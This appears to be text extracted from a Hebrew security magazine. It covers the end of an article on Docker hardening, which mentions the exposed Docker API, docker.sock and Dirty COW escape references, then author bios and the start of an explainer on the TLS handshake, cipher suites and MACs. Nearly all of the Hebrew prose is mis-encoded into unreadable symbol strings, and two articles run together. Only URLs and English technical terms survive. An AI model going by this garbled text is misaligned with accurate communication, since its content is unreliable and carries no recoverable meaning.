10. ˟ ˷ˣˬ˧˷ ˪˷ ˢ˶˵ˬ˟-API  ˪˷Docker Daemon ˞˪ˣ ˳ˣ˥ˮ ˢˤ ˫ˢ˧˪˞ ˫˧˸ˣˣ˴ˢ ˧ˮ˲˟ ˵˶ ˣ˸ˣ˞ ˱ˣ˷˥˪ ,

˪ ˣ˸˥˧˸˲-0.0.0.0. 

11.  ˨ˣ˸˪ ˸ˣ˷˧ˠ˶ ˸ˣ˧˵˧˸ ˱˸˷˪ ˞˪Containers  ˳˟ˣ˵ˢ ˸˞ ˱˸˷˪ ˞˪ ˥ˣ˦˟ˣdocker.sock ˨ˣ˸˪ 

container ˷˧˷ ˥ˣˮ ˢˤ ˫˞ ˫ˠ ,container  ˸ˣˡˣ˵˲ ˥ˣ˪˷˪ ˶˷˲˞ ˣˮˬˬdocker. 

12.  ˸ˣ˧ˣ˶˷˲˞ ˶˧˰ˢ˪ /˶˧˞ˢ˪ ˪ˣ˩˧ ˸ˣ˟˶ ˫˧ˬ˰˲˷ ˱˯ˣˮ ˫ˡ˞ ˫˰ ˳˰˧˧˸ˢ˪ ˳˪ˬˣˬ ,ˢˠ˧˶˥ ˪˷ ˢ˶˵ˬ˟

.˸ˣ˲˯ˣˮ 
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˞˷ˣˮ˟ ˫˧˶ˣ˷˧˵ 

¶ https://github.com/eyigal/Docker-DigitalWhisper  

¶ https://docs.docker.com/engine/docker-overview/#the-underlying-technology 

¶ http://archive.kernel.org/centos-vault/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-

Minimal.iso 

¶ https://dirt ycow.ninja/ 

¶ https://blog.paranoidsoftware.com/dirty-cow-cve-2016-5195-docker-container-escape/ 

¶ http://man7.org/linux/man-pages/man2/ptrace.2.html 

 

˫˧˶˟˥ˬˢ ˪˰ 

¶ ˦ˮ˲˪˞ ˪˞ˠ˧:  ,˧˞ˬ˴˰˰ˡ˧ˬ ˸˥˦˟˞ˣ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ˶˵ˣ˥ˣ ˦˯˧˪ˮ˞ˣ ,˨˧˶ˡˬ , ˧˩˧˪ˢ˸ ˢ˥ˮˬSDLC. 

o  :˦ˮ˶˦ˮ˧˞ ˶˸˞www.ysqrd.net  

o  :˪˧˧ˬ˧˞yigal@ysqrd.net 

o GitHub :https://github.com/eyigal  

 

¶ ) ˸˧ˤ ˶ˬˣ˸RealGame:(  ˸˶˟˥˟ ˰ˡ˧ˬ ˸˥˦˟˞ ˶˵ˣ˥F5 Networks  ˟˸ˣ˩ˣOpen Source. 

o  :˦ˮ˶˦ˮ˧˞ ˶˸˞http://www.RealGame.co.il 

o  :˪˧˧ˬ˧˞realgam3@gmail.com 

o GitHub :https://github.com/realgam3 

  

https://github.com/eyigal/Docker-DigitalWhisper
https://docs.docker.com/engine/docker-overview/#the-underlying-technology
http://archive.kernel.org/centos-vault/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-Minimal.iso
http://archive.kernel.org/centos-vault/7.0.1406/isos/x86_64/CentOS-7.0-1406-x86_64-Minimal.iso
https://dirtycow.ninja/
https://blog.paranoidsoftware.com/dirty-cow-cve-2016-5195-docker-container-escape/
http://man7.org/linux/man-pages/man2/ptrace.2.html
http://www.ysqrd.net/
yigal@ysqrd.net
https://github.com/eyigal
http://www.realgame.co.il/
mailto:realgam3@gmail.com
https://github.com/realgam3
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TLS -  '˞ ˵˪˥)˞ ˸ˣˮ˲˴ˢ- ,˸ˣ˧˶˦ˬ˧˯RSA  ˯˧˯˟ˢ

˧˦ˬ˸ˬˢ( 
) ˦ˣ˶ˣ˵ ˶˥˷ ˸˞ˬHutch( 

 

ˢˬˡ˵ˢ 

 Transport Layer Security˶ˣ˴˧˵˟ ˣ˞) ,(TLS  ˸˷˶ ˪˷ ˶˸ˣ˧˟ ˟ˣ˷˥ˢˣ ˧˶˪ˣ˲ˣ˲ˢ ˢ˥˦˟˞ˢ ˪ˣ˵ˣ˦ˣ˶˲ ˣˮ˧ˢ

 ˫˧ˣˣˢˬˢ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˪˰ ˫˧˩ˬ˸˯ˬ ˫˧˧˲˶ˠˣ˦˲˧˶˵ ˫˧˰˴ˬ˞˟ ˫˧ˮˠˣˬˢ ˦ˮ˶˦ˮ˧˞ˢ ˧˶˸˞ ˪˩ ˦˰ˬ˩ .˦ˮ˶˦ˮ˧˞

ˢ˪˧˟˥ˢˬ ˵˪˥ .SSL/TLS ˧ˮˣ˶˦˵˪˞ ˶˞ˣˡ ,˸ˮˣˣ˵ˬ ˸ˣ˞˵ˮ˟ ,˧ˮˣ˶˦˵˪˞ ˶˥˯ˬ,VoIP , ˡˣ˰ˣ ˭ˮ˰ ˟ˣ˷˥ˬ... 

 TLS ˞ˣˢ ˶ˣˬ˞ ˞ˣˢˣ ˸ˣ˵ˤ˥ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ ˸ˣ˦˧˷˟ ˥ˣ˵˪/˸˶˷ ˸˥˧˷ ˸˥˦˟˞ ˣ˸˶˦ˬ˷ ˧˪˧˦˯˶ˣ ˪ˣ˵ˣ˦ˣ˶˲

 ,˧ˬ˧ˮˣˮ˞ ˶ˣ˟˧˥ ˶˷˲˞ˬ .˥ˣ˵˪ˢˣ ˸˶˷ˢ ˭˧˟ ˶˟ˣ˰ˢ ˰ˡ˧ˬˢ ˪˷ (˧ˮˣˡˤ ˧ˣˮ˧˷) ˢ˪˟˥ ˣ˞ ,˱ˣ˧ˤ ,˸ˣ˸˧˴ ˰ˣˮˬ˪

ˡ˥) ˸˶˷ ˸ˣˬ˧˞-ˣˡ ˸ˣˬ˧˞ ˣ˞ (˧ˡˡ˴-ˮ ˷ˣ˪˷ .˫˧˶˯ˬˢ ˸ˣˬ˪˷ˣ ˸ˣ˧˦˶˵˯˧ˡ ˪˰ ˢ˶˧ˬ˷ ˨ˣ˸ ,˧ˡˡ˴ ˸ˣˡˣ˵

:˫ˢ ˢˮ˰ˬ ˫ˢ˪ ˸˸˪ ˶ˣˬ˞ ˪ˣ˵ˣ˦ˣ˶˲ˢ˷ ˸ˣ˧˶˵˧˰ 

¶  ˸ˣ˧˦˶˲- ˸˧˶˦ˬ˧˯ ˢˮ˲˴ˢ ˸ˣ˰˴ˬ˞˟ ˸ˠ˷ˣˬˢ. 

¶  ˸ˣˬ˧˞- ˧˶ˣ˟˧˴ ˥˸˲ˬ ˸ˡˣ˰˸ ˸ˣ˰˴ˬ˞˟ ˠ˷ˣˬˢ. 

¶  ˸ˣˮ˧ˬ˞- ˫˧˶˯ˬ ˸ˣˬ˧˞ ˡˣ˵ ˸ˣ˰˴ˬ˞˟ ˸ˠ˷ˣˬˢ. 

[ˢ˧ˡ˲˧˵˧ˣ ˨ˣ˸ˬ] 

˟ TLS- .ˣˢ˷˪˩ "˱˸ˣ˷ˬ ˡˣ˯" ˸˷˶ˣˡˢ ˸˧˶˦ˬ˧˯ ˢˮ˲˴ˢ˟ ˫˧˷ˬ˸˷ˬ ,˶˸˧ˢ ˭˧˟ ,ˣˮ˞ ˰˟˵ˢ˪ ˪ˣ˩˧ ˢˤ ˡˣ˯

˟ ˫˧ˬ˧ˢˡˬˢ ˫˧˶˟ˡˢ ˡ˥˞ ˨˞ ,˫˧ˡˡ˴ˢ ˧ˮ˷ ˪˷ ˷˞˶ˬ ˢˬ˩˯ˢ ˧ˡ˧ ˪˰- TLS  ˸˞ ˫˧˰˟ˣ˵ ˣˮˮ˧˞˷ ˞ˣˢ

 ˰ˬ˷ˮ˷ ˶˟ˡ ,ˣ˪ ˭˧ˤ˞ˢ˪ ˪˩ˣ˧ ˞˪ ˱˵ˣ˸˷ ˭˲ˣ˞˟ ˸˷˶ˢ ˧˟ˠ ˪˰ ˣ˸ˣ˞ ˫˧˶˧˟˰ˬ ˞˪˞ ˷˞˶ˬ "˱˸ˣ˷ˬˢ ˡˣ˯"ˢ

.˧˶˷˲˞ ˦˪˥ˢ˟ ˪˟˞ ˧ˮˣ˧ˠˢ ˞˪ ˦˰ˬ 

 ˣˮ˪ ˭˸ˣˮ˷ ˭ˣ˶˸˲ˢ ˵ˣ˧ˡ˟ ˣˢˤ ,ˢ˷˰ˬ˪ˣ˟˷ ,ˢˤ ˶ˬ˞ˬ˟ ˵ˣ˯˰ˮ ˣ˟˷ ˸ˣ˥˸˲ˬˢ ˸˲˪˥ˢ ˭ˣ˶˵˧˰  ˸˶˷ˢ

.˸˧˶˦ˬ˧˯ˢ ˢˮ˲˴ˢ˪ ˯˧˯˟ˢ ˞ˣˢ˷ "˱˸ˣ˷ˬ ˡˣ˯" ˫˧˰˟ˣ˵ ˥ˣ˵˪ˢˣ 

 ˸˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰TLS  ˭ˣ˶˸˲˩ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˰ ˪˩˸˯ˢ˪ ˣˮ˧˪˰ ˸˧˷˞˶ ˶˸ˣ˧ ˟ˣ˦˪ ˸˲˪˥ˢ" ˸˧˧˰˟

˸˞ ˢ˩ˣ˸˟ ˸˪˪ˣ˩ ˞˪˷ ˞ˬˠˣˡ ˸˸˪ ˧˸˦˪˥ˢ ˶˸ˣ˧ ˟ˣ˦ ˭˧˟ˢ˪ ˪˩ˣˮ˷ ˧ˡ˩ ,"˸ˣ˥˸˲ˬˢ  ˸˧˧ˠˣ˪ˣˮ˩˦

.˫˧˟˷˥ˬˢ 

 ˫˧˰ˡˣ˧ ˫ˢ˧ˮ˷ .˶˞ˣˡ˟ ˟˸˩˸ˢ˪ ˫˧ˠˢˣˮˣ ˢˮ˧ˡˬ ˢ˸ˣ˞˟ ˫˧˶ˠ˷ ˟ˣ˟ˣ ˯˧˪˞˟ ˭˟ˣˬ˩ ˪˧˥˸ˬ ˧˯˞˪˵ˢ ˶ˣ˲˧˯ˢ

.˫˧˟˸˩ˬ˟ ˦˦˥˪ˣ ˣ˸ˣ˞ ˶˧˟˰ˬ ˞ˣˢ˷ ˧ˮ˲˪ ˶˞ˣˡˢ ˸˞ ˥ˣ˸˲˪ ˠˢˣˮ ,˟˧˞ ,˶˞ˣˡˢ ˡ˧˵˲˷ 

ˢ ˸˞ ˪ˣ˰ˮ˪ ˢ˦˧˪˥ˬˣ ˟ˣ˟˪ ˢ˪˧˟˥ ˸˥˪ˣ˷ ˞˧ˢ ,˭˧˧ˮ˰ˬ ˭ˣ˧˰˶ ˢ˪˰ˬ ˯˧˪˞ ˡ˥˞ ˫ˣ˧ ,˥˸˲ˬ ˸ˣ˰˴ˬ˞˟ ˢ˪˧˟˥

 ˢ˯ˮˬ ˟˧˞ ˶˞ˣˡˢ ˡ˧˵˲ ˶˷˞˩ .˟ˣ˟˪ ˢ˯˲ˣ˵ˢ ˸˞ ˸˥˪ˣ˷ ˯˧˪˞ .ˢ˯˲ˣ˵ˢ ˨ˣ˸˟ ˢˬ˷ ˱˯ˣˮˢ ˥˸˲ˬˢ ˸˞

.˥˸˲ˬˢ ˸˞ ˣ˪ ˭˧˞˷ ˭ˣˣ˧˩ ˥˧˪˴ˬ ˞˪ ˞ˣˢ ˢ˪˧˟˥ˢ ˭˩ˣ˸ ˸˞ ˸ˣ˪ˠ˪ 
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 ˟˧˞˷ ˭˟ˣˬ˩ .˯˧˪˞˪ ˢ˶ˤ˥ ˥˪ˣ˷ˣ ˣ˪˷ ˪ˣ˰ˮˬˢ ˫˰ ˢ˯˲ˣ˵ˢ ˸˞ ˞ˣˢ ˫ˠ ˪˰ˣˮ ˟ˣ˟ ,˟ˣ˟˪ ˢ˰˧ˠˬ ˢ˯˲ˣ˵ˢ

 .˫˧˪ˣ˰ˮˬ ˧˸˷˟ ˰ˠ˶˩ ˢ˪ˣ˰ˮ˷ ˢ˯˲ˣ˵ˢ ˸˞ ˥ˣ˸˲˪ ˪ˣ˩˧ ˞˪ ˭˧˧ˡ˰ 

 ˸˞ ˥ˣ˸˲˪ ˪ˣ˩˧ ˣˮ˧˞ ˭˧˧ˡ˰ ,˟˧˞ .˟ˣ˟˪ ˢ˶ˤ˥ ˸˥˪ˣ˷ˣ ˢ˪˷ ˪ˣ˰ˮˬˢ ˸˞ ˸˥˸ˣ˲ ,ˢ˯˲ˣ˵ˢ ˸˞ ˸˪˟˵ˬ ˯˧˪˞

˪˷ ˪ˣ˰ˮˬˢ ˪˪ˠ˟ ˢ˯˲ˣ˵ˢ .ˢ˧˪˰ ˫˧˧˵ ˭˧ˡ˰˷ ˟ˣ˟ 

 ˥˸˲ˬˢ ˞ˣˢ˷ ˯˧˪˞ ˪˷ ˪ˣ˰ˮˬ˪ ˥˸˲ˬˢ ˸˞ ˷˧ ˸˰˩ˣ ˣ˪˷ ˪ˣ˰ˮˬˢ ˸˞ ˥˸ˣ˲ ,ˢ˯˲ˣ˵ˢ ˸˞ ˪˟˵ˬ ˟ˣ˟

 .˫ˢ˧˸˷˪ ˱˸ˣ˷ˬˢ 

 

TLS - Transport Layer Security 

TLS  ˸ˮ˲˴ˣˬ ˢ˥˧˷ ˫˧˧˵˪ ˫˧ˮ˧˧ˮˣ˰ˬˢ ˸˷˶ ˧˟˧˩˶ ˧ˮ˷ ˭˧˟ ˶˟ˣ˰ˢ ˰ˡ˧ˬˢ ˸ˣ˧˦˶˲ ˪˰ ˧˞˶˥˞ˢ ˪ˣ˵ˣ˦ˣ˶˲ ˣˮ˧ˢ

˲˞ˬ ˢ˷˰ˬ˪ˣ ˣˬ˩ ˫˧˧˟˦˵˧˪˲˞ ˫˧˪ˣ˵ˣ˦ˣ˶˲˪ ˢ˥˦˟˞ ˱˧˯ˣˢ˪ ˣˮ˪ ˶˷HTTP, FTP, SNMP  ˪ˣ˵ˣ˦ˣ˶˲ˢ .'ˣ˩ˣ

 ,˸ˣ˟˩˷ ˧˸˷ˬ ˟˩˶ˣˬTLS Record Protocol-l TLS Handshake  ˸˯˯ˣ˟ˬ ˸˶ˣ˷˵˸ˢ ˶˷˞˩TCP. 

TLS Record Protocol :˫˧˞˟ˢ ˫˧ˮ˧˧˲˞ˬˢ ˧ˮ˷ ˸˞ ˵˲˯ˬ ˶˷˞ ˥˦˟ˣ˞ˬ ˶ˣ˷˧˵ ˶˴ˣ˧ 

¶ ˶ˣ˟˧˥ˢ ˸ˣ˧˦˶˲ -  ˸ˣ˰˴ˬ˞˟ ˸ˠ˷ˣˬˢ˸˧˶˦ˬ˧˯ ˢˮ˲˴ˢ  ˭ˣˠ˩RC4 x-AES ˶ˣ˟˰ ˧˦˶˲ˢ ˥˸˲ˬˢ ,

ˢ ˸˟˩˷˟ ˷˞˶ˬ ˰˟˵ˮ ˸˧˶˦ˬ˧˯ˢ ˢˮ˲˴ˢˢ-TLS Handshake. 

¶ ˶ˣ˟˧˥ˢ ˸ˣˮ˧ˬ˞ -  ˸ˣ˰˴ˬ˞˟ ˸ˠ˷ˣˬˢMAC ,Message Authentication Code  ˢ˴ˣ˟˵˪ ˪˪ˣ˩ ˫˷ ˣˮ˧ˢ

) ˸ˣˬ˧˞˪ ˸ˣ˷ˬ˷ˬˢ ˧ˡˣ˯ ˥˸˲ˬ ˫˰ ˸ˣ˧˴˵ˮˣ˲ ˪˷Authentication ( ˫˧˶˯ˬ ˸ˣˬ˪˷ ˸˥˦˟ˢˣ

)Message Integrity.( 

ˢ ˭ˣˮˠˮˬ-MAC  ˸ˣ˧˴˵ˮˣ˲˟ ˪˪˩ ˨˶ˡ˟ ˷ˬ˸˷ˬHash (ˢˡ˧˥˧ˢ ˨˶ˡˢ ˞˪ ˣˤ˷ ˸ˣ˶ˬ˪)  ˭ˣˠ˩MD5,SHA1 

SHA256. 

-sTLS Record Protocol  ˸ˣ˟˩˷ ˪˷ ˩"˶ˡ˟ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˶˲˯ˬ ˪˷ (˯ˣˬ˧˩) ˢ˧˴˪ˣ˯˲˵ˮ˞ ˰˴˟ˬ ˢ˷˰ˬ˪

 ˞ˬˠˣˡ˪ ˶˸ˣ˧ ˸ˣˢˣ˟ˠˢHTTP. 

TLS Handshake -  ˢˮ˲˴ˢˢ ˫˸˧˶ˣˠ˪˞ ˸˞ ˫˩˯˪ˣ ,˧ˮ˷ˢ ˫˰ ˡ˥˞ ˸ˣˢˡˤˢ˪ ˥ˣ˵˪˪ˣ ˸˶˷˪ ˸˶˷˲˞ˬ

 ˸˞ ˢ˪˧˥˸ˬ ˢ˧˴˵˧˪˲˞ˢ ˸˟˩˷˷ ˧ˮ˲˪ ˢ˷˰ˬ˪ ˢ˷˰ˮ ˢˤ ˪˩ ,ˣ˷ˬ˸˷˧ ˫ˢ˟˷ ˫˧˧˲˶ˠˣ˦˲˧˶˵ˢ ˸ˣ˥˸˲ˬˢˣ

.˰ˡ˧ˬˢ ˸˶˟˰ˢ 

˫˧ˡ˰˧ ˢ˷ˣ˪˷ ˫˧ˠ˧˷ˬ ˡ˧ˢ ˸˴˧˥˪˟: 

1. ˶ˣˠ˪˞ ˪˷ ˢ˩˶˰ ,"˭˲ˣ˴ ˸˪˧˟˥" ˪˰ ˫ˢ˧ˮ˧˟ ˫˧ˬ˩˯ˬ ˫˧ˡˡ˴ˢ ˸ˣ˥˸˲ˬ ˪ˡˣˠˣ) ˫˧˧˲˶ˠˣ˦˲˧˶˵ ˫˧ˬ˸˧

˪ˣ˵ˣ˦ˣ˶˲ˢ ˨˶ˣ˴˪ ˷ˣˬ˧˷ ˫ˢ˟ ˢ˷˰˧˧˷ (ˢˮ˲˴ˢˢ. 

2. ˢ˥˧˷ ˸ˣ˥˸˲ˬ ˣˮˬˬ ˶ˣˤˠ˪ ˸ˮˬ ˪˰ ˱˸ˣ˷ˬ ˡˣ˯ ˫˧˶˴˧˧ˬ ˫˧ˡˡ˴ˢ ˧ˡ˧ ˪˰ ˸˰˴˟˸ˬ ˡˣ˯ˢ ˸˶˟˰ˢ ,

˞ ˢˮ˲˴ˢ-˸˧˶˦ˬ˧˯.  

3. ˷ ˧˲ ˪˰ ˱˞ .˫˸ˣˢˤ ˸˞ ˫˧˸ˬ˞ˬ ˫˧ˡˡ˴ˢ-SSL ˡ˥ ˸ˣˬ˧˞ ,˸ˣ˧ˬ˧ˮˣˮ˞˟ ˨ˬˣ˸-ˣˡ ˸ˣˬ˧˞ ˣ˞ ˧ˡˡ˴- ,˧ˡˡ˴

.˸˶˷ˢ ˸ˣˢˤ ˸˞ ˵˶ ˞ˡˣˣ˪ ˢˤ ˟˪˷˟ ˪˟ˣ˵ˬ 

[ˢ˧ˡ˲˧˵˧ˣ ˨ˣ˸ˬ] 
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TLS Handshake :˫˧˞˟ˢ ˫˧ˮ˧˧˲˞ˬˢ ˸˷ˣ˪˷ ˸˞ ˵˲˯ˬ ˶˷˞ ˥˦˟ˣ˞ˬ ˶ˣ˷˧˵ ˶˴ˣ˧ 

¶ ) ˸ˣˢˡˤˢauthentication (-  ˸ˣ˰˴ˬ˞˟ ˸ˣˢˡˤˢ˪˸ˣ˧ˢ˪ ˢ˧ˣ˷˰ ˢ˪ˣ˩˧ ,˫˧˶˷˵˸ˬˢ ˫˧ˡˡ˴ˢ ˪˷

˞ ˢˮ˲˴ˢ ˧"˰ ˰˴˟˸ˢ˪˭˧˲ˣ˪˥˪ ˣ˞ ˸˧˶˦ˬ˧˯ ˢˮ˲˴ˢ- ˭ˣˠ˩ ˸˧˶˦ˬ˧˯RSA, DSA Diffie-Hellman  'ˣ˩ˣ 

¶  ˥˦˟ˣ˞ˬ ˭˲ˣ˞˟ ˢ˰˴ˣ˟ ˱˸ˣ˷ˬˢ ˥˸˲ˬˢ ˸˲˪˥ˢ-  ˫˞ ˱˞ ˸ˣ˸˧˴˪ ˭˸˧ˮ ˞˪ ˱˸ˣ˷ˬˢ ˡˣ˯ˢ ˶ˬˣ˪˩

 ˸˲˵˸ˬ ˢ˥˪˴ˢ˟ ˰˴˧˟ ˱˵ˣ˸Man In The Middle .˫˧ˡˡ˴ˢ ˧˸˷ ˭˧˟ ˶ˣ˟˧˥ˢ ˪˰ 

¶  ˭˧ˬ˞ ˭˲ˣ˞˟ ˢ˰˴ˣ˟ ˱˸ˣ˷ˬˢ ˥˸˲ˬˢ ˸˲˪˥ˢ-  ˸˰˟ ˸˶ˣ˷˵˸ˢ ˸˞ ˨ˣ˶˰˪ ˪˩ˣ˧ ˞˪ ˱˵ˣ˸ ˱˞ ˶ˬˣ˪˩

.˫˧˶˷˵˸ˬˢ ˫˧ˡˡ˴ˢ ˧ˮ˷ ˧ˡ˧ ˪˰ ˢˢˣˤ˧ ˶˟ˡˢ˷ ˧˪˟ˬ ˥˸˲ˬˢ ˸˲˪˥ˢ 

 

:(˶˸ˣ˧ ˢ˟ˣ˦ ˢˮ˟ˢ ˶˷˲˞˪ ˸ˮˬ ˪˰) ˫˧˧˶˵˧˰ ˫˧˟˪˷ ˢ˰˟˶˞˪ ˸˶ˣ˷˵˸ˢ ˸˞ ˵˪˥ˮ 

 

¶  '˞ ˟˪˷-  ˸˞ ˪˪ˣ˩ ˫˧˟˪˷1,2,3,6,7 . 

¶  '˟ ˟˪˷-  ˫˧˟˪˷ ˸˞ ˪˪ˣ˩4,5 (˨˷ˬˢ˟ ˢˤ˪ ˯˥˧˧˸ˮ ,'˞ ˟˪˷ ˸˞ ˰˦ˣ˵ '˟ ˟˪˷) 

¶  'ˠ ˟˪˷-  ˟˪˷ ˸˞ ˪˪ˣ˩8. 

¶  'ˡ ˟˪˷-  ˫˧˟˪˷ ˸˞ ˪˪ˣ˩9-12. 

 

Basic TLS Handshake 

 :˯˧˯˟ ˧ˠ˷ˣˬ 

¶ Cipher suite -  ˰˴˟˸ˬ ˶˷˞˩Handshake ˢ ˨˧˪ˢ˸˟-TLSˢ ˸˞ ˸˶˷ˢ ˫˰ ˱˸˷ˬ ˥ˣ˵˪ˢ ,-cipher 

suite list ˢ ˸˞ ˥ˣ˵˪˪ ˥˪ˣ˷ ˭˩ˬ ˶˥˞˪ ˸˶˷ˢ ,˥ˣ˵˪ˢ ˨ˬˣ˸ ˸ˣˮ˲˴ˢ ˧ˠˣ˯ ˢˤ˧˞˟ ˸˶˷˪ ˶˧ˢ˟ˢ˪ ˧ˡ˩-

cipher suite .˶˥˟ˮˢ 
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¶  :˫˧˶˦ˬ˶˲ ˶˲˯ˬ ˫˧˰˟˵ˮ ˣˤ ˢ˪ˣ˰˲˟ 

¶ Key exchange algorithm -  ˪ˣˬ ˢˤ ˸ˣˢˡˤˢ ˣ˰˴˟˧ ˣ˸˧˞˷ ˫˸˧˶ˣˠ˪˞ˢ ˸˞ ˫˧˶˥ˣ˟ ˥ˣ˵˪ˢˣ ˸˶˷ˢ

.ˢˤ 

¶ Bulk encryption algorithm -  ˫˧˶˥ˣ˟ ˥ˣ˵˪ˢˣ ˸˶˷ˢ ˢˮ˲˴ˢˢ ˟˪˷˟ ˰ˡ˧ˬˢ ˭˲˴ˣ˧ ˢ˟˷ ˢ˦˧˷ˢ ˸˞

 .˸˧˶˦ˬ˧˯ˢ 

¶ Message Authentication Code -  ˫˧˶˯ˬ ˸ˣˬ˧˞ ˡˣ˵- Message Authentication Code  ˶ˣ˴˧˵˟

MAC) ˸ˣˬ˧˞˪ ˸ˣ˷ˬ˷ˬˢ ˧ˡˣ˯ ˥˸˲ˬ ˫˰ ˸ˣ˧˴˵ˮˣ˲ ˪˷ ˢ˴ˣ˟˵˪ ˪˪ˣ˩ ˫˷ ˞ˣˢ ,Authentication (

) ˫˧˶˯ˬ ˸ˣˬ˪˷ ˸˥˦˟ˢˣge IntegrityMessa ˸˧˧˴˵ˮˣ˲ .(MAC  ˨˶ˣ˞˟ ˶˯ˬˣ ˧ˡˣ˯ ˥˸˲ˬ ˸˪˟˵ˬ

) ˸ˣˬ˧˞ ˠ˸ ˸˞˶˵ˮˢ ˢ˶˴˵ ˰ˡ˧ˬ ˸˯˧˲ ˢ˵˧˲ˬˣ ˧˸ˣ˶˧˶˷Authenticator ˡ˥˧ ˪˟˵ˬˢ ˡ˴˪ ˥˪˷ˮ ˞ˣˢˣ (

 ˪˟˧˵˷ ˠ˸ˢ ˸ˣ˰˴ˬ˞˟ ˞ˡˣˣ˪ ˫˧˞˸ˬ ˫˸˧˶ˣˠ˪˞ ˸˶ˤ˰˟ ˪ˣ˩˧ ˪˟˵ˬˢ .ˡ˶˲ˮ˟ ˣ˞ ˸ˬˣ˞ˬˢ ˰ˡ˧ˬˢ ˫˰

˸ˣˬ˧˞ ˡˣ˵ ˫˸˧˶ˣˠ˪˞ .˧˦ˮ˸ˣ˞ ˨ˬ˯ˬˢ˷  ˱˸˷˪ ˫˧˟˧˧˥ ˪˟˵ˬˢˣ ˥˪ˣ˷ˢ˷ ˭˟ˣˬ˟ ˧˶˦ˬ˧˯ ˞ˣˢ ˫˧˶˯ˬ

 ˞˪ ˧˩ˣ ˶ˢ˴ˣˢ˷ ˶ˣ˵ˬˢˬ ˰˧ˠˢ ˨ˬ˯ˬˢ˷ ˞ˡˣˣ˪ ˪ˣ˩˧ ˪˟˵ˬˢ ˣ˸ˣ˰˴ˬ˞˟ ,˧ˡˣ˯ ˥˸˲ˬ ˷˞˶ˬ ˫ˢ˧ˮ˧˟

 ˥˸˲ˬ ˸˰˧ˡ˧ ˞˪˪ ˫˧˞˸ˬ ˸ˣˬ˧˞ ˠ˸ ˭˧˩ˢ˪ ˭˸˧ˮ ˞˪˷ ˸ˣ˧ˢ .ˢ˶˟˰ˢˢ ˨˪ˢˬ˟ ˣˮ˩ˣ˸˟ ˧ˣˮ˧˷ ˪˩ ˢ˷˰ˮ

˭˩ˣ˸˟ ˣˢ˷˪˩ ˧ˣˮ˧˷ ˢ˷˰ˮ ˫˞ ,˧ˡˣ˯ˢ ˸ˣˬ˧˞ˢ  ˢ˶ˣ˴˟ ˠ˸ˢ ˸˞ ˫ˠ ˸ˣˮ˷˪ ˟˧˶˧ˢ ˥˧˪˴˧ ˞˪ ˶˯ˬˢ

 ˶˧˟˰˧ˣ ˱˯ˢ ˪˰ ˱˧ˣˤˬˢ ˶˯ˬˢ ˸˞ ˢ˥ˡ˧˧ ,ˡˣ˞ˬ ˢˢˣ˟ˠ ˸ˣ˶˧˟˯˟ ˧ˣˮ˧˷˟ ˭˧˥˟˧ ˪˟˵ˬˢ ˭˩˪ˣ ˢˬ˧˞˸ˬ

.˥˪ˣ˷˪ ˢˬ˧˞˸ˬ ˢ˰ˡˣˢ 

[ˢ˧ˡ˲˧˵˧ˣ ˨ˣ˸ˬ] 

ˢ ˠˣ˯ ˸˞ ˫˧˰˟ˣ˵ ˥ˣ˵˪ˢˣ ˸˶˷ˢ-MAC .ˣ˷ˬ˸˷˧ ˣ˟ 

 ˞ˬˠˣˡ˪TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 ,TLS_ECDHE_RSA - ˢ ˞˧ˢ-Key 

exchange algorithm ,AES_128_GCM - ˣ ,˸˧˶˦ˬ˧˯ˢ ˢˮ˲˴ˢˢ ˠˣ˯ ˞˧ˢ-SHA256 ˢ ˠˣ˯ ˣˮ˧ˢ-MAC. 

¶ Digital certificate -  ˧ˮ˷ˢ ˣˬ˷˟ ˣ˞certificatepublic key  ˢ˶ˣ˴˟ ˸ˡ˟ˣ˰ ˢ˷˰ˬ˪ ˣˤ ˢˮ˲˴ˢ ˸˦˧˷ ,

˞ ˢˮ˲˴ˢ ˫ˠ ˞˶˵ˮ) ˥ˣˮ˰˲ˢ ˥˸˲ˬˬ ˢˮˣ˷ ˢˮ˲˴ˢˢ ˥˸˲ˬ˷ ˸˞ˤ˩- ˧˶ˣ˟˧˴ˢ ˥˸˲ˬ˪ ,˸˧˶˦ˬ˧˯

) ˧˶ˣ˟˧˴ ˥˸˲ˬ :˸ˣ˥˸˲ˬ ˠˣˤ ˶˴˧˧ˬ ˷ˬ˸˷ˬ ˪˩ ˶ˬˣ˪˩ .(˧˦ˬ˸ˬ ˶˷˵ ˧˦˶˲ˢˣPublic key ˞ˣˢ˷ (

) ˧˦˶˲ ˥˸˲ˬˣ ˪˩˪ ˷˧ˠˮˢ ,˧˟ˬˣ˲ˢ ˢˮ˲˴ˢ ˥˸˲ˬPrivate key(  ˷ˬ˷ˬˣ ˡˣ˯˟ ˶ˬ˷ˮˢ ,˫˧˞˸ˬ

.˥ˣˮ˰˲˪ 

ˡ˥ ˞˧ˢ ˢˬ˞˸ˢˢ- .(˨˲ˢ˪ˣ ˣ˪ ˫˧˞˸ˬˢ ˡ˧˥˧ ˧˦˶˲ ˥˸˲ˬ ˵˶ˣ ˨˞ ˫˧˧˵ ˧˶ˣ˟˧˴ ˥˸˲ˬ ˪˩˪) ˸˧˩˶˰ ˡ˥

.˪˟˵ˬˢ ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˪˷ ˧˦ˮ˸ˣ˞ ˵˸ˣ˰ ˣ˧ˡ˧˪ ˠ˧˷ˢ˪ ˭˧˲˴ˬˢ ˪˰ ˣˤ ˢ˦˧˷˟ ˶˯ˬ ˭˧˲˴ˢ˪ ˧ˡ˩ 

¶  ˥˸˲ˬˢ ˟ˣ˷˧˥˟˷ ˧˷ˣ˵ˢ ˪˰ ˸ˮ˰˷ˮ ˧˶ˣ˟˧˴ ˥˸˲ˬ ˸˦˧˷ ˸ˣ˥˧˦˟ .˧˶ˣ˟˧˴ˢ ˥˸˲ˬˢ ˨ˣ˸ˬ ˧˦˶˲ˢ

